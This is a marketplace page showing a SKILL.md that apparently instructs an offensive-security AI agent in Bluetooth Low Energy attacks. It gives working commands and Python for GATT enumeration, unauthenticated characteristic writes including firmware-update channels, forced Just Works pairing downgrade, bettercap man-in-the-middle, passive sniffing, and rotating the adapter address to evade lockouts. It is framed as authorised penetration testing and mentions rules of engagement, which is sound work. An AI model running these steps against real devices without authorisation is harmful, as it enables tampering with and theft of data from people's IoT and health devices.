Skip to main content

ble-gatt

GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
May 30, 2026 at 11:58
Detected SKILL.md language
English
Stars
5,611
Forks
1,061

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
ble-gatt
description
GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.
allowed-tools
Bash Read Write
metadata
{"subdomain":"iot","when_to_use":"BLE, GATT, Bluetooth Low Energy, characteristic, pairing, Just Works, Ubertooth, Sniffle, bleak, gatttool, nRF Connect, notify, indicate, write without response","tags":"ble, gatt, bluetooth, pairing, sniffing, iot, embedded","mitre_attack":"T1040, T1557, T1190, T1078"}
# BLE GATT Enumeration and Exploitation > BLE devices routinely expose sensitive GATT characteristics without > authentication or encryption. Common wins: OTA firmware update channels, > PIN entry characteristics, device configuration, and health sensor data > — all accessible to any central within radio range. ## Prerequisites - Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE, or the eval board of the target SoC itself). - Tools: `bluez` (>=5.62), `gatttool`, `bluetoothctl`, `hcitool`, `python3 -m pip install bleak` (cross-platform async BLE library). - Passive sniffer (optional but high-value): Sniffle (TI CC1352 / CC26x2 dongle + firmware) or Ubertooth One. - Mobile: nRF Connect (Android/iOS) — fastest visual GATT browser; LightBlue on iOS. ## Phase 1: Passive Discovery ```bash # Identify advertising devices and their advertised UUIDs without connecting. sudo hcitool lescan --duplicates 2>/dev/null | tee /tmp/ble_scan.txt # Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info). sudo btmgmt find -l 2>/dev/null | grep -E "addr|name|uuid" ``` Using `bleak` for a structured scan: ```python import asyncio from bleak import BleakScanner async def scan(): devices = await BleakScanner.discover(timeout=10.0) for d in devices: print(f"{d.address} RSSI={d.rssi:4d} {d.name or '<anon>'} {list(d.metadata.get('uuids', []))}") asyncio.run(scan()) ``` ## Phase 2: Full GATT Enumeration (unauthenticated) ```bash # Connect and dump all services/characteristics/descriptors. # gatttool is deprecated but still widely available; use bleak for scripting. gatttool -b <TARGET_MAC> -I > connect > primary # list services by UUID > characteristics # list handles, properties, UUIDs > char-desc # dump all descriptors # Or with hcitool + gatttool one-liner: gatttool -b <TARGET_MAC> --primary gatttool -b <TARGET_MAC> --characteristics ``` Bleak full dump (preferred — handles BLE 5 extended): ```python import asyncio from bleak import BleakClient TARGET = "AA:BB:CC:DD:EE:FF" async def dump_gatt(): async with BleakClient(TARGET) as client: for svc in client.services: print(f"\nService: {svc.uuid} ({svc.description})") for char in svc.characteristics: print(f" Char: {char.uuid} props={char.properties} handle=0x{char.handle:04x}") if "read" in char.properties: try: val = await client.read_gatt_char(char.uuid) print(f" Value: {val.hex()} ({val!r})") except Exception as e: print(f" Read error: {e}") asyncio.run(dump_gatt()) ``` ## Phase 3: Unauthenticated Write / Command Injection ```bash # Write a raw value to a characteristic handle (gatttool). # Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications. gatttool -b <TARGET_MAC> --char-write-req -a 0x002a -n 0100 # Write to a writable characteristic by UUID (bleak): ``` ```python async def write_char(client, uuid, payload: bytes): # Try write-with-response first; fall back to write-without-response. props = client.services.get_characteristic(uuid).properties if "write" in props: await client.write_gatt_char(uuid, payload, response=True) elif "write-without-response" in props: await client.write_gatt_char(uuid, payload, response=False) print(f"Wrote {payload.hex()} to {uuid}") ``` Common attack targets by characteristic UUID: | UUID (16-bit) | Description | Attack | |---|---|---| | 0x2A19 | Battery Level | Read, establish baseline | | 0x2A24 | Model Number | Info disclosure | | 0x2A9D | Weight Scale | Sensor data w/o auth | | Vendor 0xFF01-0xFF0F | OTA / DFU channel | Write firmware image | | Vendor 0xFFF1 | Generic config | Write arbitrary config | ## Phase 4: Pairing Downgrade — Just Works Just Works pairing provides no MITM protection. Force it when the device advertises IO capabilities that allow stronger pairing (Passkey, OOB) but accepts a downgrade. ```bash # In bluetoothctl: set agent to NoInputNoOutput to force Just Works. bluetoothctl agent NoInputNoOutput default-agent scan on pair <TARGET_MAC> # pairing will complete with no key confirmation trust <TARGET_MAC> connect <TARGET_MAC> ``` After pairing, re-run GATT dump — some characteristics become readable only after bonding even when using Just Works. ### MITM with Bettercap (BLE proxy) ```bash # bettercap ble.recon + ble.enum — proxy-capable on supported adapters. sudo bettercap -eval "ble.recon on; events.stream on" # Enumerate target: sudo bettercap -eval "ble.enum <TARGET_MAC>" # Write via bettercap: sudo bettercap -eval "ble.write <TARGET_MAC> <char-uuid> <hex-payload>" ``` ## Phase 5: Passive Sniffing with Sniffle ```bash # Flash Sniffle firmware to a TI CC26x2R LaunchPad. # https://github.com/nccgroup/Sniffle # Follow a specific device (37/38/39 advertisement channels, then data channel). python3 sniffle/sniffle_host.py -s /dev/ttyACM0 -a -l <TARGET_MAC> | tee /tmp/ble_capture.pcap # Open in Wireshark (BLE dissector built-in): wireshark /tmp/ble_capture.pcap ``` Ubertooth One — broadband BLE capture (less channel-following accuracy): ```bash ubertooth-btle -f -A 37 -c /tmp/ble_ubertooth.pcap # follow on adv channel 37 ubertooth-btle -f -t <TARGET_MAC> -c /tmp/ble_ubertooth.pcap # follow by address ``` ## Evidence Save all GATT dumps and captures: ```bash EVIDENCE="/workspace/evidence/ble-gatt/$(date +%Y%m%d_%H%M%S)" mkdir -p "$EVIDENCE" # Dump GATT to JSON: python3 dump_gatt.py > "$EVIDENCE/gatt_dump.json" sha256sum "$EVIDENCE/gatt_dump.json" >> "$EVIDENCE/sha256.txt" cp /tmp/ble_capture.pcap "$EVIDENCE/" sha256sum "$EVIDENCE/ble_capture.pcap" >> "$EVIDENCE/sha256.txt" ``` Knowledge graph node for a found credential/key: ```python kg_add_node( kind="credential", label=f"BLE GATT unauthenticated access {target_mac}", props={ "key": f"ble-gatt::{target_mac}", "secret_type": "ble_characteristic", "mac": target_mac, "characteristic_uuid": char_uuid, "raw_value": value_hex, "pairing_method": "just_works_or_none", "source": "bleak+gatttool", }, ) ``` ## OPSEC Notes - BLE connection requests are logged by the peripheral's pairing database; repeated failed pairings may trigger a lockout or vendor alert. - Just Works pairing is visible to the peripheral; if it keeps a bond list, a stale address may flag re-pairing attempts. - Use `bdaddr` (hciconfig bdaddr spoof) or the adapter's random-address mode (`hciconfig hci0 leadv 3`) to rotate your BD_ADDR between attempts. - Sniffle is passive — zero RF footprint beyond receiving. Prefer it when the RoE explicitly prohibits active probing. - OTA/DFU channels: if you can write a firmware image, gate the test on explicit operator approval and a recovery plan (jtag/uart fallback) for the device. ## References - Sniffle: https://github.com/nccgroup/Sniffle - bleak: https://github.com/hbldh/bleak - BTLE-Sniffer / GATTacker historical MITM reference. - nRF Connect mobile: fastest manual GATT browser for live engagement triage.
View on GitHub